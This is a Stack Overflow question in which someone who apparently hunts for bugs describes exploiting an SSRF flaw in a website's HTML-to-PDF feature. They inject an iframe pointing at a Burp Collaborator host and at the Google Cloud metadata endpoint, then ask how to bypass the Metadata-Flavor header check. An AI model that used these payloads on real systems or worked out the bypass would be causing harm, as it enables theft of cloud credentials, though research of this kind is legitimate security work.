'Is it possible to set custom HTTP headers like (Metadata-Flavor: Google) in HTML?

I have found a server side request forgery (SSRF) vulnerability in a website, In the request body; there is a JSON Object called "html" which reflect in a PDF file with download link starts with https://storage.googleapis.com/../, when I tried to change this HTML code with <iframe src="http://my-burp-collaborator.net> I could receive HTTP response from internal IP,

then I tried to put this src=http://metadata.google.internal/computeMetadata/v1/ I got a message inside the frame: "Missing required header: Metadata-Flavor", which should be Metadata-Flavor: Google, then I tried many methods like, <meta name='Metadata-Flavor' content='Google'>, http://metadata.google.internal/computeMetadata/v1/?Metadata-Flavor=Google, Any one have an idea how to bypass this! Thanks!



Sources

This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.

Source: Stack Overflow

Solution Source